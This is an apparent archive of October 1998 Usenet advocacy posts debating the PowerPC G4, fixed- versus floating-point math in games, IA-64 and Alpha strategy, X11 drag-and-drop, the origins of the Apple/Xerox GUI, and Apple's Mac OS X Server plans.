I'm almost certain you're wrong here. Please quote a source for this
information. I've been in and around this argument for a decade and a
half and this is the very first time I've heard *this* particular version.
:)
Thanks,
-Tim
From: alexr@I.HATE.SPAM (Alex Rosenberg)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Tue, 20 Oct 1998 03:02:52 -0700
Organization: Hackers Anonymous
Message-ID: <alexr-2010980302520001@roseal2.apple.com>
References: <3629900d$0$7319@nntp1.ba.best.com> <B24EE913-10EC3@206.165.43.120> <362a2bcc$0$7314@nntp1.ba.best.com> <adtF13LBG.1Jx@netcom.com> <362c2480$0$12446@nntp1.ba.best.com>
In article <362c2480$0$12446@nntp1.ba.best.com>, kcd@babylon5.jumpgate.com
(Kenneth C. Dyke) wrote:
>Trust me. The trend in video games is to move away from fixed point
>math. Fixed point is simply harder to deal with than floating point.
Well, I'm surprised I'm defending Lawson on this, but I did work on a
commerical game that abandoned FP for fixed-point.
Unlike some other recent games (Unreal comes to mind), this game requires
all network clients to be able to determininstically reproduce the entire
game state, and it periodically checks that all clients are in sync.
This means that any variation between clients is not permitted.
Unfortunately, none of the x86 compilers we used up to that point in
development were even close to being IEEE-754 compliant. That means that
our desired "float" or "double" datatypes were often computed using
Intel's 80-bit representation. By choice of the compiler authors favoring
performance over conformance, rounding is often done incorrectly. This
represents at least a 1 ulp error between machines, which after numerous
computations grows rather quickly. Of course, even a one bit error causes
checksums to fail. So much for standards.
I do agree that the trend for games is toward floating-point.
Unfortunately, it can't be safely used in any cross-platform deterministic
fashion.
As for the discussion of 64-bit integer support, I don't see a need for
this in hardware unless 64-bit addressing arrives at the same time.
+------------------------------------------------------------+
| Alexander M. Rosenberg <mailto:alexr@_spies.com> |
| Nobody cares what I say. Remove the underscore to mail me. |
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 19 Oct 98 12:04:57 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B250DB6D-9B231@206.165.43.49>
References: <70g0tj$mdh$3@news.xmission.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
Don Yacktman <don@misckit.com> said:
>(I wouldn't be surprised if DPS were at least 50% of that fee, however,
>which
>is still a bit greedy on Adobe's part IMHO.)
Even $10 per unit would prevent any YB-based game from being
cross-platform. A YB-based replacement for OpenDoc would still be limited
to Mac-only (as long as this fee is in place) which is the reason given by
Jobs for killing OD.
I *really* hope they get these issues ironed out.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Motorola's G4 PowerPC
Content-Type: text/plain; charset=us-ascii
Message-ID: <F139BB.72C@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: amaliy1@uic.edu
Organization: My ISP puts something here if I don't.
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171>
<F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu>
Mime-Version: 1.0
Date: Mon, 19 Oct 1998 19:11:33 GMT
In <70ftih$2ego$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
> A single RAMBUS channel will provide the same amount of bandwidth
> as the 128 bit bus operating at 100MHz.
Interesting, thanks.
> Well if you are processing a large data set using 128 bit vectors,
> having double the bandwidth will help you fill those cache lines from
> main memory a lot quicker. Same goes for double precision FP.
Ok, that's what I thought you were referring to.
> I mean implementing a double rate interface where data is
> transfered on both the rising and falling edge of the bus
> clock. This way a 128 bit 100MHz system bus would be able to
> provide data at twice the rate (200MHz) and provide 3.2 GB/s
> of bandwidth.
Is this in use on other machines today? I've not heard of this, but I'm
not terribly up on the hardware side of things.
Maury
From: "WaldoTim" <waldotim@yahoo.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Sun, 18 Oct 1998 20:56:40 -0400
Organization: UltraNet Communications , an RCN Company http://www.ultranet.com/
Message-ID: <70e2nc$k4h$1@ligarius.ultra.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <mteh-ya02408000R1010981831230001@news.earthlink.net>
Oliver M. Sun wrote in message ...
>In article <01bdf462$dcd104a0$42d89a8e@zeus>, "Dude" <jonny_36@hotmail.com>
>wrote:
>
>>Sorry dude but it wasn't Apple that came up with the Windows Gui it was
>>Xerox and Apple "borrowed" it from them, just like MS "borrowed" the
>>concept from Apple.
>>
>>Dude
>
> Sorry, Dude, but you need to take a look at the early Xerox GUI and tell
>me what happened.
>
>
>>
>>As a GUI, I agree with you, Windows is very good. As an OS, it's
>>camel dung.
>
>
> You know why MS introduced the "integrated browser" in place of the old
>Windows Explorer? Because their surveys indicated that people found it
>easier to use web browsers than to use Windows itself.
>
> Great GUI, eh? (More like camel dung).
That's a completely invalid leap of logic. People find web browsers in
general
easier to use than GUIs in general.
The really funny part of this whole argument is that, over the last five
years or so,
the Mac GUI has gotten more like Windows and the Windows GUI has gotten more
like Mac. At this point, most people new to computers with whom I come into
contact
(school children, mostly) don't find them significantly different.
Subject: Re: Motorola's G4 PowerPC
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
References: <adtF13LBG.1Jx@netcom.com> <B2512811-8D9D4@206.165.43.67>
In-Reply-To: <B2512811-8D9D4@206.165.43.67>
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Date: 20 Oct 1998 05:56:34 GMT
Message-ID: <362c2612$0$12429@nntp1.ba.best.com>
On 10/19/98, "Lawson English" wrote:
>Kenneth C. Dyke (kcd@babylon5.jumpgate.com) wrote:
>>
>>: FWIW, there are no 64x64 -> 128 bit multiply instructions currently
>>: defined for the PowerPC architecture. The upshot of that is that
>>: you'll have to execute two multiplies (each one will give you
either
>>: the uppor or lowen 64 bits of the 128 bit result) and then manually
>>: extract the correct 32 bits from each result to get the 64-bit
fixed
>>: point result again. That's at least 4 instructions. If I use the
FPU
>>: instead, it only takes one, and I can also do a floating point add
'for
>>: free'.
>>:
>
>
>But you must do a conversion from fixed-to-float in order to deal with
>this value in a fixed coordinate system (such as used for a bitmap).
Not necessarily, depending on what you are doing. For example, OpenGL
uses floating point texture map coordinates.
>If you aren't using AltiVec, this would require touching memory, which
>might overwhelm your calculation-time advantage.
Again, in the context of writing games, the trend is to move away from
doing expensive per-pixel operations with the CPU and instead to leave
that to dedicated 3D hardware. I seriously doubt that even with 64-bit
integer registers I could come close to the rendering speed of any of
the current generation (3Dfx Voodoo2, nVidia TNT, etc.) of 3D
accelerators.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Software Engineer, Jane's Combat Simulations, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
Message-ID: <362A8F5C.9101C8BF@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
References: <3626A8A1.A166967B@nstar.net> <708brr$1l5u$1@piglet.cc.uic.edu> <3627C56A.A5A01466@ericsson.com> <70bmt9$25lq$1@piglet.cc.uic.edu> <3629731C.ECB0114E@nstar.net> <70e0cj$1iim$1@piglet.cc.uic.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Sun, 18 Oct 1998 21:01:49 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 18 Oct 1998 20:01:16 -0500
Anil T Maliyekke wrote:
> I've never seen an X Windows application that supports non text
> cut & paste. Does the functionality exist, either in
> X11 itself or in environments like Motif/CDE or
> Qt/KDE or GNOME? Same goes for interapplication drag & drop...
> And if they do exist how are they implemented?
They absolutely exist, and they are implemented in various ways. Of
course, you can make use of drag-and-drop anyway you like if you
implement it yourself, but Qt uses the XDnD protocol, while Motif uses
the Motif Drag-and-drop protocol. GTK currently uses something useless
but is moving to XDnD. KDE has its own drag-and-drop implementation of
XDnD; I believe they will be scrapping it in favor of automatically
inheriting Qt's implementation.
> I don't think UNIX is going to defeat IBM, since they are a leading
> UNIX vendor and their other OSes support UNIX services.
I was referring to the fact that Unix already replaced the mainframe in
most enterprise solutions.
> Also,
> while UNIX makes a great base for interactive user services and
> a pretty good base for servers, there are other approaches
> for OSes. OS/400's capabilities based architecture is pretty
> much at the opposite end of the OS spectra from UNIX, OS/390, NT
> etc. Indeed it seems to be picking up steam. I think IBM
> made a lot of good architectural decisions in creating
> OS/400 and with advances in system and processor design as
> well as new software technologies like Java, OS/400's architecture
> may start to show some advantages. The only problem with
> it is it's horrible user interface, but that's one of the
> things that can be hidden through various means.
It's possible, but it's still too expensive and rare to use OS/400
solutions. Moreover, enterprises like the "open" approach and aren't
likely to revert back to a single-vendor IBM approach.
MJP
From: "The Meister" <meisterville@earthlink.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Sun, 18 Oct 1998 20:55:39 -0400
Organization: EarthLink Network, Inc.
Message-ID: <70e2t3$a48$1@oak.prod.itd.earthlink.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <joe.ragosta-1010981709250001@elk68.dol.net> <70e29s$arc$1@strato.ultra.net>
In the book HArd Drive the authors do say that both Microsoft and Apple
bought the rights and then hired the programmers from Xerox PARC division to
develop the gui interface. Both of them then developed it to suit their
needs, after which Apple sued Microsoft for copyright infringement. I am
not a Microsoft fan but the facts speak for themselves. (at least one
version of them)
meisterville@earthlink.net
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
From: Mattrol@uscom.com (Drakmere)
Subject: Re: A computer is not like a car.
Organization: Organization to Stop Long Organization Names
Message-ID: <70e3gq$16g_020@news.uscom.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <joe.ragosta-1010981709250001@elk68.dol.net> <70e29s$arc$1@strato.ultra.net>
Date: Mon, 19 Oct 1998 01:09:46 GMT
NNTP-Posting-Date: Sun, 18 Oct 1998 18:12:25 PDT
In article <70e29s$arc$1@strato.ultra.net>, "WaldoTim" <waldotim@yahoo.com> babbled thusly:
>
>Joe Ragosta wrote in message ...
>>In article <01bdf462$dcd104a0$42d89a8e@zeus>, "Dude"
>><jonny_36@hotmail.com> wrote:
>>
>>> Sorry dude but it wasn't Apple that came up with the Windows Gui it was
>>> Xerox and Apple "borrowed" it from them, just like MS "borrowed" the
>>> concept from Apple.
>>
>>Check your facts. You'll find that Apple paid for what they got from Xerox.
>
>
> I'm almost certain you're wrong here. Please quote a source for this
>information. I've been in and around this argument for a decade and a
>half and this is the very first time I've heard *this* particular version.
>:)
>
>Thanks,
>
>-Tim
>
>
Uhhh... I saw this on some sort of history of M$/IBM/Intel, to present day on
PBS (or some such.). It did say something like Apple wanted to buy it, the
people at PARC told Xerox not to sell it, but the management saw no future in
it, so they sold pieces of it to Apple.
--
(All quotes are not guaranteed accurate.)
ICQ: 8869737 Yahoo: Drakmere Aim: drakmere9
The irony is that Bill Gates claims to be making a stable operating system and Linus Torvaldis claims to be trying to take over the world.
When in-laws are outlawed, only outlaws will have in-laws.
This .sig in UNDER CONSTRUCTION
Any suggestions are appreciated, and disposed of ;)
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 20 Oct 1998 06:02:29 GMT
Organization: University of Illinois at Chicago
Message-ID: <70h91l$23ie$1@piglet.cc.uic.edu>
References: <70fu05$2ego$2@piglet.cc.uic.edu> <70gopb$dq2$1@hecate.umd.edu> <70gssn$bko$1@piglet.cc.uic.edu> <70h4ik$trg$1@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: Anil T Maliyekke (amaliy1@uic.edu) wrote:
: : I'm not saying it would be an easy decision for them. But if I were
: : IBM, I would seriously consider whether or not I want to jump on
: : the IA-64 bandwagon:
: Intel is still just a vendor to IBM, and "supporting" Intel would still
: be "better" than "supporting" Compaq, from IBM's perspective. This
: IMO has ceased to be a technical merit sort of thing, just a business
: decision.
The Intel model threatens IBM's margins and devalues IBM's research
and development efforts. IBM doesn't like that. Also with IA-64, some of
the IP may be locked away through some third party patent holding company,
so the chances of anyone creating a clone processor are slim. Thus
if the industry adopts IA-64 on a large scale, Intel may succeed
in creating a Windows like monopoly. Besides, IBM may be able to extract
other concessions from Compaq that may make IBM prefer Alpha over
IA-64, such as licensing of whatever IP necessary for IBM to cut
lose from Compaq's hardware direction if it sees fit. Fat chance
IBM will get similar concessions from Intel.
: : a) it will be virtually impossible to distinguish one self from
: : your other competitors since Intel will do a lot of the development
: : and lower the cost of entry into the market
: IBM now makes most all its revenue from big big iron and servicing of
: all kinds. With big iron it matters less that the initial price of
: entry has been lowered, but the kind of service you can provide. IBM
: excels in that area. IMO, IBM may not even mind if Dell sells an IA-64
: box, since Dell currently does not have the support structure to
: support that box, and as long as IBM can grab the servigin part of the
: equation, IBM can still make a lot of dough. (even more than the sale of
: hardware)
Services have about half the margin of hardware. IBM needs both
hardware and services, as well as software, to keep its overall profits
high.
: : b) HP is too closely associated with Merced
: HP would be co-developer of IA-64, that is true. However, Intel now
: designs most of IA-64 stuff, and IBM would purchase its chips from
: Intel.
However, if IA-64 succeeds and offers some advantage to HP, like
the rumored PA-RISC binary compatibility, then that puts IBM at
a disadvantage.
: : c) IBM may end up being one of the larger manufacturers of Alpha's
: : and will get revenue from them
: IMO, the IBM-alpha story doesn't make much sense to me. IA-64 is
: projected by everyone as the steam roller that is coming. For IBM
: to take interest in Alpha they would be admitting that they have
: 2 elements they lack. 1. They would like to actively resist IA-64.
: 2. They lack the tool to do it. i.e. POWERPC is not sufficient a
: tool to this end, and they will support another competitor's
: product (Compaq Alpha) to do this. Again, IMO, the case for each
: one is weak, and combined, it's even weaker.
The issue isn't whether PowerPC is sufficient or capable of defeating
IA-64 on UNIX. The issue is NT. IA-64 is only a steam roller if
the Windows market jumps aboard.
: : d) Compaq may succeed anyway in pushing Alpha's
: IBM may get on the bandwagon if Alpha adoption takes off, but I don't
: see them taking a proactive role as you sugget.
I think we'll know better what will happen by the beginning of 2000.
I certainly don't see them doing anything at the moment.
: : e) It'll confuse the hell out of pro-Wintel stock and market
: : "analysts" and may just force everyone into a wait and see mode
: : regarding choosing a 64 bit NT platform.
: I don't see IBM fighting another "jihad". OS/2 and PPC may or maynot
: have lost money for IBM, but certainly took up a lot of resources
: and attention that IBM could've directed elsewhere. IBM is doing
: well now as a "solutions" company, where they can provide the full
: range of sales and service, software and hardware. If alpha takes
: off, I'm sure IBM will support it as well, but actively pushing
: Alpha based boxes, I don't see that.
The problem with OS/2 and PPC was that they were perceived as
ways for IBM to lock customers in. IBM doesn't seem to mind
fighting new "jihads." Certainly it has done so with a lot
of the Java and Network Computing Initiatives.
: : The main reason why I wouldn't want to support Alpha, is that it
: : may boost Compaq/Digital's other operating systems and it is
: : a slippery slope. The best thing for IBM would be for the
: : x86 cloners to come up with a 64bit x86 extension...
: I *thought* that you were slamming X86's legacy code, IA-32 being a
: 32 bit extension with prefix modifiers for 16 bit X86. 64 bit X86 ISA
: would probably be quite displeasing to the average Computer Scientist.
: You can't just add more and larger registers to a new ISA and maintain
: backward compatibility, there's only so many bits in the opcode map.
: Without remapping the bits to the opcode, you'll end up with more
: prefixes to denote 64 bit extensions. (It doesn't mean that Intel
: didn't think about doing a 64 bit x86 extension as you've described,
: IIRC, they did. That's what the original "p7" project was supposed
: to be, but it was evaluated and scratched when HP proposed the
: alliance, and pushed for a brand new ISA)
I never said it would be pretty, but I'm sure it could be done.
Sure I dislike x86 code, but in the Windows market it could
sell well if backwards compatibility were achieved with a lot less
hardware. Of course it would depend on the cloners gaining additional
influence...
: --
: davewang@kagututi.kecl.ntt.co.jp.meaningless
: All statements are personal opinions
: Not speaking for NTT or University of Maryland
: Nara, Japan.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Bold prediction! Forget Server...
Date: 19 Oct 1998 20:44:41 GMT
Organization: Michigan State University
Message-ID: <70g8bp$2k5$1@msunews.cl.msu.edu>
References: <70fpbp$dhd$1@nnrp1.dejanews.com> <70fvt4$mdh$2@news.xmission.com>
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Cc: don@misckit.com
In <70fvt4$mdh$2@news.xmission.com> Don Yacktman wrote:
> cvbuskirk@home.com wrote:
> > This will really piss off developers, [...] The
> > NeXT crowd will probably face the brunt of this, but hey, with
> > the exception of a *few* hardcore software houses, what have
> > they developed in the past few years anyhow?
>
> A hell of a lot of custom applications in the enterprise. Several of these
> apps have had more development hours, money, and effort put into *one*
> *single* *project* than Apple or NeXT has put into NEXTSTEP, OPENSTEP,
> Rhapsody, Mac OS X, or whatever the hell they call it tomorrow.
Agreed. There are a few really killer enterprise projects out there.
Those companies would be absolutely FUMING.
> F**k over the enterprise like that and Apple will never, EVER get back in the
> door again! Not at that shop, or any shop run by somebody who has a friend
> that was in the shop that got screwed over. It is hard enough for Apple to
> get the Enterprise to take them seriously, but burn bridges like this and
> they're out of that market forever. That's a *really* bad idea.
Even the rumor of this starts to hurt Apple dramatically. Enterprise customers
don't even want to hear these kinds of things. When they do someone
is put on the task of creating a emergency plan - which can quickly become
the new plan.
> Think about this: Microsoft has taken over the easy markets and is now
> trying to conquer the enterprise because that's where the real money is (not
> to mention some of the best margins). If Apple limits themselves to their
> current niche and tries to only hit consumers, they will likely fail. Why?
> Many consumers buy a computer "like the one at work" and the consumer margins
> are so low Apple could end up losing money on the few units they do sell!
> (That's an oversimplification, but a deeper analysis still suppots the idea
> that Apple needs to take at the very least a *portion* of the enterprise
> market.)
Yeah and Linux according to Linus in the end is gunning for the consumer
and not just the server markets. It may take a while - but that is the goal.
As to enterprise I agree that Apple could well have taken it by storm
but with the huge Mac OS X vacuum that seems to be arising it's no
wonder that no-one is lining up for it. I suspect Apple will shortly
find itself in a very desperate situation of dwindling new sales, devoid
of developer support, and with fewer and fewer end markets because
of its slippery attitude towards many of it's products and clients.
> > I would rather apple work hard on getting beta 3 out the door,
> > then waste time releasing server. IT managers are not lining
> > up at the door for it.
>
> But if you piss off the few that *are*, they'll tell their friends.
> Eventually Apple will be locked out of all but the most insane or desperate
> of shops. Past NeXT history proves this to be the case. There are some
> truly astonishing stories...Apple is headed down the same road of arrogance
> and demarketing and it is a _very_ _bad_ thing, long term. Worse than you
> suspect.
There is no doubt of that. I know there are a number of educational
institutions buying new Macs, but I'll tell you they arn't the folks that
previously purchased NeXT hardware. Those folks were burned once
and won't again. So consider about 1/2 of the various departments
in universities that won't come 10' from anything Steve Jobs has his
hand in for quite a long time.
> > Remember the quote, "Carbon. All lifeforms are based on this."
> >
> > Chris Van Buskirk (Still looking forward to developing java
> > based yellow box and webobject on my G3)
>
> Well, gee, so then why bother with YB or WOF if Carbon is the end all be all?
I think there are a lot of people wondering the same thing. And they also
wonder why they should bother with YB or WOF if Apple is half-hearted
itself about them.
>
> So, I think that what you are suggesting is a terrible idea and one that
> would do a tremendous amount of long term damage to Apple as a whole. That
> said, and based upon the fact that this is just the sort of stupid trick Jobs
> has pulled out of his butt in the past, the cynic in me says that Apple might
> just go and do what you are suggesting. I hope that they don't, though,
> considering the consequences. Time will tell...anything attempt to read
> Apple's tea leaves right now (prediction, rumor, etc.) to determine what will
> happen is of the basest speculation and rather worthless. The people passing
> the rumors don't know diddly about what is happening, and those that do
> aren't talking.
>
Agreed. If Apple follows the plan Chris charts we better get a life preserver
and be ready to be picked up by the MS Enterprise. Apple will dissappear
so fast no-one will notice they are gone till it's too late.
Don. I have to agree with you - because Steve has done some really bad
things in the past - I believe he & Apple could do it again now. Because
of the fact that we - and probably others - are aware of this. Don't you think
that Steve Jobs and Apple are going to have terrible problems in the
enterprise, and in general in the future? Just the fact that you and I
could envision such a nasty scenario and consider it as possible. Doesn't
that already say there is something wrong at Apple that needs serious
addressing?
This whole trust - commitment issue is one I've been beating my drum about
for quite some time as I feel it's Apple's Achilles Heel. Somehow I'm guessing
that since we come from the NeXT/NeXTstep days that we are a very small
group of voices which Apple now has a reason to ignore (we have become
a tiny minority in the vast MacOS majority). Everything that is going on
is just too damn reminiscent of NeXT, and very much like Steve Jobs.
Somehow silence is Steve's way of saying it's dead - but the guy doesn't
have the guts to let the people his decision will affect know the bad news.
All I can say is that it don't matter how great the technology is - these
kinds of actions will most certianly kill anything. Apple and Jobs seem
to have no clue where they are going - and even if they did they don't
seem to care to share the vision with us, much less ask what we think -
or take the time to listen to work out win-win solutions - and follow through
on them.
Just a damn shame since with the right attitude Apple could have been
a major player again on all fronts, building up trust and mindshare rather
than tearing them down.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 20 Oct 1998 06:23:37 GMT
Organization: AT&T WorldNet Services
Message-ID: <ckoller-1910982328520001@141.los-angeles-05.ca.dial-access.att.net>
References: <ckoller-ya02408000R1910981247230001@netnews.worldnet.att.net> <362BA01B.D0CA294E@ericsson.com> <ckoller-ya02408000R1910981543320001@netnews.worldnet.att.net> <362BC747.D3ADBA50@ericsson.com>
In article <362BC747.D3ADBA50@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Craig Koller wrote:
>
> [cut]
>
> > What planet are you living on, Michael?
>
> It's too bad that USENET doesn't come in audio versions. I would love to
> do a little skit sometime; a black screen, dates appear and fade out as
> various voices intone "What colour is the sky on your planet?" and "You
> don't know what the hell you're talking about".
>
> Someday when it's all over...I think that that would be sort of funny.
> To me, anyway.
>
Yeah, now would be a good time for some comic relief. I'm tired. Let's
make it over now...
[schnip yada, yada, yada...]
From: "WaldoTim" <waldotim@yahoo.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Sun, 18 Oct 1998 21:35:36 -0400
Organization: UltraNet Communications , an RCN Company http://www.ultranet.com/
Message-ID: <70e50c$nu0$1@ligarius.ultra.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <joe.ragosta-1010981709250001@elk68.dol.net> <70e29s$arc$1@strato.ultra.net> <70e2t3$a48$1@oak.prod.itd.earthlink.net>
Thanks for the info. I'll have to look it up while keeping my mouth shut.
:)
-Tim
The Meister wrote in message <70e2t3$a48$1@oak.prod.itd.earthlink.net>...
>In the book HArd Drive the authors do say that both Microsoft and Apple
>bought the rights and then hired the programmers from Xerox PARC division
to
>develop the gui interface. Both of them then developed it to suit their
>needs, after which Apple sued Microsoft for copyright infringement. I am
>not a Microsoft fan but the facts speak for themselves. (at least one
>version of them)
>meisterville@earthlink.net
>
>
>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
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Cc: greg@afs.com
Organization: My ISP puts something here if I don't.
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com>
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Date: Tue, 20 Oct 1998 00:29:32 GMT
In <70g2s9$t17@shelob.afs.com> "Greg Anderson" wrote:
> Don Yacktman wrote:
> >At least one poster to this thread is probably closer to the truth than
> any
> >of us so far have been:
>
> Ooh. Ooh. Call on me. Call on me, teacher. I know who it is. And a few of
> us who are more "in the know" haven't even weighed in yet.
Please say it'sÊnot me.
Maury
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 19 Oct 1998 01:57:53 GMT
Organization: University of Illinois at Chicago
Message-ID: <70e6b1$2fdk$1@piglet.cc.uic.edu>
References: <3626A8A1.A166967B@nstar.net> <708brr$1l5u$1@piglet.cc.uic.edu> <3627C56A.A5A01466@ericsson.com> <70bmt9$25lq$1@piglet.cc.uic.edu> <3629731C.ECB0114E@nstar.net> <70e0cj$1iim$1@piglet.cc.uic.edu> <362A8F5C.9101C8BF@nstar.net>
Michael J. Peck (mjpeck@nstar.net) wrote:
: Anil T Maliyekke wrote:
: > I've never seen an X Windows application that supports non text
: > cut & paste. Does the functionality exist, either in
: > X11 itself or in environments like Motif/CDE or
: > Qt/KDE or GNOME? Same goes for interapplication drag & drop...
: > And if they do exist how are they implemented?
: They absolutely exist, and they are implemented in various ways. Of
: course, you can make use of drag-and-drop anyway you like if you
: implement it yourself, but Qt uses the XDnD protocol, while Motif uses
: the Motif Drag-and-drop protocol. GTK currently uses something useless
: but is moving to XDnD. KDE has its own drag-and-drop implementation of
: XDnD; I believe they will be scrapping it in favor of automatically
: inheriting Qt's implementation.
How is data transfer being implemented? The problem I see
is that X applications are not necessarily running on the same
machine, so there must be some way of exchanging data between the
two machines that's coordinated by the machine displaying the
applications.
: > I don't think UNIX is going to defeat IBM, since they are a leading
: > UNIX vendor and their other OSes support UNIX services.
: I was referring to the fact that Unix already replaced the mainframe in
: most enterprise solutions.
The mainframe hasn't been replaced by a lot of organizations and won't
ever be. Lots of people developed and deployed new client/server
applications on UNIX machines, but recently with the trend towards
recentralizing applications to cut down on management or to cut
down application redeployment costs, companies seem to be looking at
keeping their mainframes and deploying new applications on them. That's
why more mainframe MIPS are being shipped. It's also why a lot of
applications are being brought to the mainframe by software vendors.
: > Also,
: > while UNIX makes a great base for interactive user services and
: > a pretty good base for servers, there are other approaches
: > for OSes. OS/400's capabilities based architecture is pretty
: > much at the opposite end of the OS spectra from UNIX, OS/390, NT
: > etc. Indeed it seems to be picking up steam. I think IBM
: > made a lot of good architectural decisions in creating
: > OS/400 and with advances in system and processor design as
: > well as new software technologies like Java, OS/400's architecture
: > may start to show some advantages. The only problem with
: > it is it's horrible user interface, but that's one of the
: > things that can be hidden through various means.
: It's possible, but it's still too expensive and rare to use OS/400
: solutions. Moreover, enterprises like the "open" approach and aren't
: likely to revert back to a single-vendor IBM approach.
Well that hasn't stopped NT and Microsoft. Enterprises liked the
"open" API approach earlier on this decade when non-IBM hardware was much
cheaper, and gave good price/performance. However, enterprise customers
now seem to prefer packaged, integrated solutions that can be
implemented quickly without sacrificing reliability, security,
and performance. What enterprise customers want in terms of
openness is conformance to networking and data representation standards.
Besides, costs for OS/400 systems have come down considerably, and
they come with database included. Low end systems can be had for under
$10,000. And with more and more hardware being shared between RS/6000
and AS/400 systems, OS/400 systems will likely get only cheaper.
: MJP
Message-ID: <362AA113.166495B9@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
References: <3626A8A1.A166967B@nstar.net> <708brr$1l5u$1@piglet.cc.uic.edu> <3627C56A.A5A01466@ericsson.com> <70bmt9$25lq$1@piglet.cc.uic.edu> <3629731C.ECB0114E@nstar.net> <70e0cj$1iim$1@piglet.cc.uic.edu> <362A8F5C.9101C8BF@nstar.net> <70e6b1$2fdk$1@piglet.cc.uic.edu>
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NNTP-Posting-Date: Sun, 18 Oct 1998 22:17:23 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 18 Oct 1998 21:16:51 -0500
Anil T Maliyekke wrote:
> How is data transfer being implemented? The problem I see
> is that X applications are not necessarily running on the same
> machine, so there must be some way of exchanging data between the
> two machines that's coordinated by the machine displaying the
> applications.
Data transfer is accomplished through the server. Both applications will
be accessing the same display server, so it's a common point of
exchange. The client sends the data to the server, which makes it
available to the next client to request it.
[cut - Mainframe]
I'm not saying the mainframe is extinct. I'm saying that Unix is
responsible for ending the Age of the Mainframe as known during the
1960s and 1970s.
[cut - openness and standards]
If you like. Enterprises are looking for more pervasive computing and
they are not going to use mainframes to achieve that, in my opinion.
